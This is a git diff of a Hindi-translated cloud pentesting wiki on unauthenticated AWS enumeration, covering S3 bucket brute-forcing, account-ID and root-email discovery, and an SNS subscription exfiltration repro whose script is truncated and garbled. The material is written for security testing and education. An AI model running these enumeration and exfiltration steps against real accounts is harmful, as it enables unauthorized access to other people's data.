+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
deleted file mode 100644
index 56938bf47..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# AWS - Redshift Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### सार्वजनिक URL टेम्पलेट
-```
-{user_provided}...redshift.amazonaws.com
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md
new file mode 100644
index 000000000..d52d41255
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md
@@ -0,0 +1,9 @@
+# AWS - Redshift Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### सार्वजनिक URL टेम्प्लेट
+```
+{user_provided}...redshift.amazonaws.com
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
deleted file mode 100644
index d282c2dba..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
+++ /dev/null
@@ -1,194 +0,0 @@
-# AWS - S3 अनधिकृत Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3 सार्वजनिक बकेट
-
-एक बकेट को **“सार्वजनिक”** माना जाता है यदि **कोई भी उपयोगकर्ता बकेट की सामग्री को सूचीबद्ध कर सकता है**, और **“निजी”** यदि बकेट की सामग्री को **केवल कुछ उपयोगकर्ताओं द्वारा सूचीबद्ध या लिखा जा सकता है**।
-
-कंपनियों के पास **बकेट अनुमतियाँ गलत कॉन्फ़िगर की गई हो सकती हैं** जो या तो सब कुछ या AWS में किसी भी खाते में प्रमाणित सभी को पहुँच देती हैं (तो किसी को भी)। ध्यान दें, कि ऐसी गलत कॉन्फ़िगरेशन के साथ भी कुछ क्रियाएँ नहीं की जा सकती हैं क्योंकि बकेट की अपनी पहुँच नियंत्रण सूचियाँ (ACLs) हो सकती हैं।
-
-**AWS-S3 गलत कॉन्फ़िगरेशन के बारे में यहाँ जानें:** [**http://flaws.cloud**](http://flaws.cloud/) **और** [**http://flaws2.cloud/**](http://flaws2.cloud)
-
-### AWS बकेट खोजने के तरीके
-
-जब एक वेबपृष्ठ AWS का उपयोग करके कुछ संसाधनों को स्टोर कर रहा हो, तो खोजने के लिए विभिन्न तरीके:
-
-#### Enumeration & OSINT:
-
-- **wappalyzer** ब्राउज़र प्लगइन का उपयोग करना
-- बर्प का उपयोग करना (**वेब को स्पाइडर करना**) या पृष्ठ के माध्यम से मैन्युअल रूप से नेविगेट करके सभी **संसाधनों** को **इतिहास** में सहेजना।
-- **संसाधनों के लिए जाँच करें** जैसे डोमेन में:
-
-```
-http://s3.amazonaws.com/[bucket_name]/
-http://[bucket_name].s3.amazonaws.com/
-```
-
-- **CNAMES** के लिए जाँच करें क्योंकि `resources.domain.com` में CNAME `bucket.s3.amazonaws.com` हो सकता है
-- **[s3dns](https://github.com/olizimmermann/s3dns)** – एक हल्का DNS सर्वर जो DNS ट्रैफ़िक का विश्लेषण करके क्लाउड स्टोरेज बकेट (S3, GCP, Azure) की पहचान करता है। यह CNAMEs का पता लगाता है, समाधान श्रृंखलाओं का पालन करता है, और बकेट पैटर्न से मेल खाता है, जो ब्रूट-फोर्स या API-आधारित खोज के लिए एक शांत विकल्प प्रदान करता है। पुनः खोज और OSINT कार्यप्रवाह के लिए आदर्श।
-- [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), एक वेब जो पहले से **खोजे गए खुले बकेट** के साथ है।
-- **बकेट नाम** और **बकेट डोमेन नाम** को **एक समान होना चाहिए।**
-- **flaws.cloud** का **IP** 52.92.181.107 है और यदि आप वहाँ जाते हैं तो यह आपको [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/) पर रीडायरेक्ट करता है। इसके अलावा, `dig -x 52.92.181.107` `s3-website-us-west-2.amazonaws.com` देता है।
-- यह जाँचने के लिए कि यह एक बकेट है, आप **यहाँ भी जा सकते हैं** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/)।
-
-#### ब्रूट-फोर्स
-
-आप बकेट्स को **कंपनी से संबंधित नामों को ब्रूट-फोर्स करके** खोज सकते हैं:
-
-- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
-- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector)
-- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (संभावित बकेट नामों की सूची शामिल है)
-- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets)
-- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky)
-- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers)
-- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3)
-- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner)
-- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter)
-
-
# Generate a wordlist to create permutations
-curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
-curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
-cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
-
-# Generate a wordlist based on the domains and subdomains to test
-## Write those domains and subdomains in subdomains.txt
-cat subdomains.txt > /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
-
-# Create permutations based in a list with the domains and subdomains to attack
-goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## The previous tool is specialized increating permutations for subdomains, lets filter that list
-### Remove lines ending with "."
-cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### Create list without TLD
-cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### Create list without dots
-cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### Create list without hyphens
-cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
-
-## Generate the final wordlist
-cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
-
-## Call s3scanner
-s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
-

-
-#### S3 बकेट्स का लूट
-
-खुले S3 बकेट्स को देखते हुए, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) स्वचालित रूप से **दिलचस्प जानकारी** के लिए **खोज कर सकता है**।
-
-### क्षेत्र खोजें
-
-आप [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) में AWS द्वारा समर्थित सभी क्षेत्रों को खोज सकते हैं।
-
-#### DNS द्वारा
-
-आप **`dig`** और **`nslookup`** का उपयोग करके एक बकेट के क्षेत्र को प्राप्त कर सकते हैं **खोजे गए IP** का **DNS अनुरोध करके**:
-```bash
-dig flaws.cloud
-;; ANSWER SECTION:
-flaws.cloud.    5    IN    A    52.218.192.11
-
-nslookup 52.218.192.11
-Non-authoritative answer:
-11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
-```
-यह सुनिश्चित करें कि हल किया गया डोमेन "website" शब्द रखता है।\
-आप स्थिर वेबसाइट पर जा सकते हैं: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
-या आप बकेट पर जाकर पहुंच सकते हैं: `flaws.cloud.s3-us-west-2.amazonaws.com`
-
-
-
-#### प्रयास करके
-
-यदि आप एक बकेट तक पहुंचने की कोशिश करते हैं, लेकिन **डोमेन नाम में आप एक अन्य क्षेत्र निर्दिष्ट करते हैं** (उदाहरण के लिए बकेट `bucket.s3.amazonaws.com` में है लेकिन आप `bucket.s3-website-us-west-2.amazonaws.com` पर पहुंचने की कोशिश करते हैं, तो आपको **सही स्थान पर निर्देशित किया जाएगा**:
-
-![](<../../../images/image (106).png>)
-
-### बकेट की गणना करना
-
-बकेट की खुली स्थिति का परीक्षण करने के लिए, एक उपयोगकर्ता बस अपने वेब ब्राउज़र में URL दर्ज कर सकता है। एक निजी बकेट "Access Denied" के साथ प्रतिक्रिया देगा। एक सार्वजनिक बकेट पहले 1,000 वस्तुओं की सूची देगा जो संग्रहीत की गई हैं।
-
-सभी के लिए खुला:
-
-![](<../../../images/image (201).png>)
-
-निजी:
-
-![](<../../../images/image (83).png>)
-
-आप इसे cli के साथ भी जांच सकते हैं:
-```bash
-#Use --no-sign-request for check Everyones permissions
-#Use --profile  to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions
-#--recursive if you want list recursivelyls
-#Opcionally you can select the region if you now it
-aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2]
-```
-यदि बकेट का डोमेन नाम नहीं है, तो इसे सूचीबद्ध करने का प्रयास करते समय, **केवल बकेट का नाम डालें** और पूरा AWSs3 डोमेन नहीं। उदाहरण: `s3://`
-
-### सार्वजनिक URL टेम्पलेट
-```
-https://{user_provided}.s3.amazonaws.com
-```
-### सार्वजनिक बकेट से खाता आईडी प्राप्त करें
-
-यह **`S3:ResourceAccount`** **नीति स्थिति कुंजी** का लाभ उठाकर AWS खाते को निर्धारित करना संभव है। यह स्थिति **उस S3 बकेट के आधार पर पहुंच को प्रतिबंधित करती है** जिसमें एक खाता है (अन्य खाता-आधारित नीतियाँ उस खाते के आधार पर प्रतिबंधित करती हैं जिसमें अनुरोध करने वाला प्रमुख है)।\
-और क्योंकि नीति में **वाइल्डकार्ड** हो सकते हैं, इसलिए खाता संख्या **केवल एक संख्या में** पाई जा सकती है।
-
-यह उपकरण प्रक्रिया को स्वचालित करता है:
-```bash
-# Installation
-pipx install s3-account-search
-pip install s3-account-search
-# With a bucket
-s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
-# With an object
-s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
-```
-यह तकनीक API Gateway URLs, Lambda URLs, Data Exchange डेटा सेट और यहां तक कि टैग के मान प्राप्त करने के लिए भी काम करती है (यदि आप टैग कुंजी जानते हैं)। आप [**मूल शोध**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) और इस शोषण को स्वचालित करने के लिए उपकरण [**conditional-love**](https://github.com/plerionhq/conditional-love/) में अधिक जानकारी प्राप्त कर सकते हैं।
-
-### एक बकेट की पुष्टि करना कि यह AWS खाते से संबंधित है
-
-जैसा कि [**इस ब्लॉग पोस्ट**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) में समझाया गया है, **यदि आपके पास एक बकेट को सूचीबद्ध करने की अनुमति है** तो यह संभव है कि आप उस खाते की ID की पुष्टि कर सकें जिससे बकेट संबंधित है, एक अनुरोध भेजकर जैसे:
-```bash
-curl -X GET "[bucketname].amazonaws.com/" \
--H "x-amz-expected-bucket-owner: [correct-account-id]"
-
-
-...
-```
-यदि त्रुटि "Access Denied" है, तो इसका मतलब है कि खाता आईडी गलत थी।
-
-### रूट खाता enumeration के रूप में उपयोग किए गए ईमेल
-
-जैसा कि [**इस ब्लॉग पोस्ट**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) में समझाया गया है, यह जांचना संभव है कि क्या कोई ईमेल पता किसी AWS खाते से संबंधित है **S3 बकेट पर ACLs के माध्यम से ईमेल को अनुमति देने की कोशिश करके**। यदि यह कोई त्रुटि उत्पन्न नहीं करता है, तो इसका मतलब है कि ईमेल किसी AWS खाते का रूट उपयोगकर्ता है:
-```python
-s3_client.put_bucket_acl(
-Bucket=bucket_name,
-AccessControlPolicy={
-'Grants': [
-{
-'Grantee': {
-'EmailAddress': 'some@emailtotest.com',
-'Type': 'AmazonCustomerByEmail',
-},
-'Permission': 'READ'
-},
-],
-'Owner': {
-'DisplayName': 'Whatever',
-'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef'
-}
-}
-)
-```
-## संदर्भ
-
-- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
-- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md
new file mode 100644
index 000000000..e5e17cd24
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md
@@ -0,0 +1,195 @@
+# AWS - S3 Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3 Public Buckets
+
+A bucket is considered **“public”** if **any user can list the contents** of the bucket, and **“private”** if the bucket's contents can **only be listed or written by certain users**.
+
+कंपनियाँ कभी-कभी **buckets की permissions गलत-कॉन्फ़िगर** रखती हैं जो access या तो सब कुछ के लिए दे सकती हैं या AWS में किसी भी account में authenticated किसी भी व्यक्ति को दे सकती हैं (यानी किसी भी व्यक्ति को)। ध्यान दें कि ऐसे misconfigurations में भी कुछ actions निष्पादित नहीं हो सकते क्योंकि buckets के अपने access control lists (ACLs) हो सकते हैं।
+
+**Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud)
+
+### Finding AWS Buckets
+
+विभिन्न तरीके जिनसे पता चलता है कि कोई webpage कुछ resources स्टोर करने के लिए AWS का उपयोग कर रहा है:
+
+#### Enumeration & OSINT:
+
+- **wappalyzer** browser plugin का उपयोग
+- burp का उपयोग करते हुए (**spidering** the web) या पेज पर मैन्युअली नेविगेट करके सभी **resources** जो **loaded** होते हैं, History में save हो जाएंगे।
+- निम्न domains में **resources** के लिए जाँच करें:
+
+```
+http://s3.amazonaws.com/[bucket_name]/
+http://[bucket_name].s3.amazonaws.com/
+```
+
+- **CNAMES** की जाँच करें क्योंकि `resources.domain.com` के पास CNAME `bucket.s3.amazonaws.com` हो सकता है
+- **[s3dns](https://github.com/olizimmermann/s3dns)** – एक lightweight DNS server जो DNS ट्रैफ़िक का विश्लेषण करके passive तरीके से cloud storage buckets (S3, GCP, Azure) की पहचान करता है। यह CNAMEs का पता लगाता है, resolution chains का पालन करता है, और bucket patterns से मेल खाता है, brute-force या API-आधारित खोज का एक शांत विकल्प प्रदान करता है। recon और OSINT workflows के लिए उपयुक्त।
+- [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) चेक करें, एक वेब जो पहले से ही **discovered open buckets** रखता है।
+- **bucket name** और **bucket domain name** को **एक ही** होना चाहिए।
+- **flaws.cloud** का IP 52.92.181.107 है और यदि आप वहाँ जाते हैं तो यह आपको [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/) पर redirect कर देता है। साथ ही, `dig -x 52.92.181.107` `s3-website-us-west-2.amazonaws.com` देता है।
+- यह जाँचने के लिए कि यह एक bucket है, आप [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/) पर भी visit कर सकते हैं।
+
+#### Brute-Force
+
+आप pentesting कर रहे कंपनी से संबंधित नामों को **brute-force** करके buckets ढूँढ सकते हैं:
+
+- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
+- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector)
+- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names)
+- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets)
+- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky)
+- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers)
+- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3)
+- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner)
+- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter)
+
+
# Generate a wordlist to create permutations
+curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
+curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
+cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
+
+# Generate a wordlist based on the domains and subdomains to test
+## Write those domains and subdomains in subdomains.txt
+cat subdomains.txt > /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
+
+# Create permutations based in a list with the domains and subdomains to attack
+goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
+## The previous tool is specialized increating permutations for subdomains, lets filter that list
+### Remove lines ending with "."
+cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
+### Create list without TLD
+cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
+### Create list without dots
+cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
+### Create list without hyphens
+cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
+
+## Generate the final wordlist
+cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
+
+## Call s3scanner
+s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
+

+
+#### Loot S3 Buckets
+
+यदि S3 open buckets मौजूद हों, तो [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) स्वचालित रूप से **दिलचस्प जानकारी खोज** सकता है।
+
+### Find the Region
+
+आप AWS द्वारा सपोर्ट किए गए सभी regions को यहाँ पा सकते हैं: [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)
+
+#### By DNS
+
+आप `dig` और `nslookup` से bucket का region प्राप्त कर सकते हैं, इसके लिए खोजे गए IP का **DNS request** करें:
+```bash
+dig flaws.cloud
+;; ANSWER SECTION:
+flaws.cloud.    5    IN    A    52.218.192.11
+
+nslookup 52.218.192.11
+Non-authoritative answer:
+11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
+```
+Check that the resolved domain have the word "website".\
+आप स्टैटिक वेबसाइट तक पहुँच सकते हैं: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
+या आप bucket को विजिट करके एक्सेस कर सकते हैं: `flaws.cloud.s3-us-west-2.amazonaws.com`
+
+
+
+#### By Trying
+
+यदि आप किसी bucket तक पहुँचने की कोशिश करते हैं, लेकिन **डोमेन नाम में आप किसी दूसरे region का उल्लेख करते हैं** (उदाहरण के लिए bucket `bucket.s3.amazonaws.com` में है पर आप `bucket.s3-website-us-west-2.amazonaws.com` पर पहुँचने की कोशिश करते हैं), तो आपको **सही स्थान दिखा दिया जाएगा**:
+
+![](<../../../images/image (106).png>)
+
+### Enumerating the bucket
+
+Bucket की openness की जाँच करने के लिए उपयोगकर्ता बस URL को अपने वेब ब्राउज़र में दर्ज कर सकते हैं। एक private bucket "Access Denied" के साथ प्रतिक्रिया करेगा। एक public bucket पहले 1,000 objects को सूचीबद्ध करेगा।
+
+Open to everyone:
+
+![](<../../../images/image (201).png>)
+
+Private:
+
+![](<../../../images/image (83).png>)
+
+You can also check this with the cli:
+```bash
+#Use --no-sign-request for check Everyones permissions
+#Use --profile  to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions
+#--recursive if you want list recursivelyls
+#Opcionally you can select the region if you now it
+aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2]
+```
+यदि bucket का कोई डोमेन नाम नहीं है, इसे enumerate करने की कोशिश करते समय, **केवल bucket name डालें** और पूरे AWSs3 डोमेन को नहीं। उदाहरण: `s3://`
+
+### सार्वजनिक URL टेम्पलेट
+```
+https://{user_provided}.s3.amazonaws.com
+```
+### public Bucket से Account ID प्राप्त करें
+
+नई **`S3:ResourceAccount`** **Policy Condition Key** का उपयोग करके किसी AWS account का पता लगाया जा सकता है।  
+यह शर्त उस **S3 bucket** के आधार पर **access** को प्रतिबंधित करती है जिसमें account होता है (अन्य account-आधारित नीतियाँ उस account के आधार पर restriction लगाती हैं जिसमें requesting principal होता है)।  
+और क्योंकि policy में **wildcards** हो सकते हैं, इसलिए account number को **एक समय में सिर्फ एक अंक** के आधार पर पाया जा सकता है।
+
+यह tool इस प्रक्रिया को automate करता है:
+```bash
+# Installation
+pipx install s3-account-search
+pip install s3-account-search
+# With a bucket
+s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
+# With an object
+s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
+```
+यह तकनीक API Gateway URLs, Lambda URLs, Data Exchange data sets के साथ भी काम करती है और tags का value भी प्राप्त करने के लिए इस्तेमाल हो सकती है (यदि आप tag key जानते हैं)। आप इस exploitation को automate करने के लिए अधिक जानकारी [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) और tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) में पा सकते हैं।
+
+### किसी bucket का AWS account से संबंधित होना सत्यापित करना
+
+जैसा कि [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)** में समझाया गया है, यदि आपके पास किसी bucket को list करने की permissions हैं** तो यह संभव है कि आप accountID की पुष्टि कर सकें जिससे वह bucket संबंधित है, इस तरह का request भेजकर:
+```bash
+curl -X GET "[bucketname].amazonaws.com/" \
+-H "x-amz-expected-bucket-owner: [correct-account-id]"
+
+
+...
+```
+यदि त्रुटि “Access Denied” है तो इसका मतलब है कि account ID गलत था।
+
+### root account enumeration के लिए इस्तेमाल किए गए Emails
+
+जैसा कि [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) में समझाया गया है, यह जांचना संभव है कि कोई ईमेल पता किसी AWS account से संबंधित है या नहीं, S3 bucket पर ACLs के माध्यम से **किसी ईमेल को permissions देने की कोशिश** करके। यदि इससे कोई त्रुटि ट्रिगर नहीं होती, तो इसका मतलब है कि वह ईमेल किसी AWS account का root user है:
+```python
+s3_client.put_bucket_acl(
+Bucket=bucket_name,
+AccessControlPolicy={
+'Grants': [
+{
+'Grantee': {
+'EmailAddress': 'some@emailtotest.com',
+'Type': 'AmazonCustomerByEmail',
+},
+'Permission': 'READ'
+},
+],
+'Owner': {
+'DisplayName': 'Whatever',
+'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef'
+}
+}
+)
+```
+## संदर्भ
+
+- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
+- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md
new file mode 100644
index 000000000..0773fae3e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md
@@ -0,0 +1,13 @@
+# AWS - SageMaker अनधिकृत एक्सेस
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SageMaker के लिए Presigned URLs
+
+यदि कोई attacker SageMaker resource के लिए presigned URL प्राप्त कर लेता है, तो वह किसी भी अतिरिक्त प्रमाणीकरण के बिना उसे एक्सेस कर सकता है। अनुमतियाँ और पहुँच स्तर उस role पर निर्भर करेंगे जो resource से जुड़ा है:
+
+{{#ref}}
+../../aws-privilege-escalation/aws-sagemaker-privesc/README.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
deleted file mode 100644
index ff3db3782..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# AWS - SNS अनधिकृत ENUM
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-SNS के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### सभी के लिए खुला
-
-जब आप वेब कंसोल से एक SNS टॉपिक कॉन्फ़िगर करते हैं, तो यह संकेत देना संभव है कि **हर कोई टॉपिक पर प्रकाशित और सदस्यता ले सकता है**:
-
-

-
-तो यदि आप **खाता के अंदर टॉपिक्स का ARN खोजते हैं** (या टॉपिक्स के संभावित नामों के लिए ब्रूट फोर्सिंग करते हैं) तो आप **जांच सकते हैं** कि क्या आप **उन पर प्रकाशित** या **सदस्यता ले सकते हैं**।
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md
new file mode 100644
index 000000000..97cd48c41
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md
@@ -0,0 +1,55 @@
+# AWS - SNS Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+SNS के बारे में अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### सभी के लिए खुला
+
+जब आप वेब कंसोल से एक SNS topic कॉन्फ़िगर करते हैं तो आप यह संकेत कर सकते हैं कि **Everyone can publish and subscribe** to the topic:
+
+

+
+तो अगर आप अकाउंट के अंदर **find the ARN of topics** (या संभावित नामों के लिए brute forcing करके) आप यह **check** कर सकते हैं कि आप उन्हें **publish** या **subscribe** कर सकते हैं।
+
+यह एक SNS topic resource policy के समकक्ष होगा जो `sns:Subscribe` को `*` (या बाहरी accounts को) की अनुमति देता है; कोई भी principal एक subscription बना सकता है जो सभी भविष्य के topic messages को उनके मालिकाना SQS queue में भेजता है। जब queue का owner subscription शुरू करता है, तो SQS endpoints के लिए किसी मानवीय पुष्टि की आवश्यकता नहीं होती।
+
+

+Repro (us-east-1)
+```bash
+REGION=us-east-1
+# Victim account (topic owner)
+VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text)
+
+# Open the topic to anyone subscribing
+cat > /tmp/topic-policy.json < /tmp/sqs-policy.json <
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
deleted file mode 100644
index b0220ab8c..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# AWS - SQS अनधिकृत ENUM
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-SQS के बारे में अधिक जानकारी के लिए देखें:
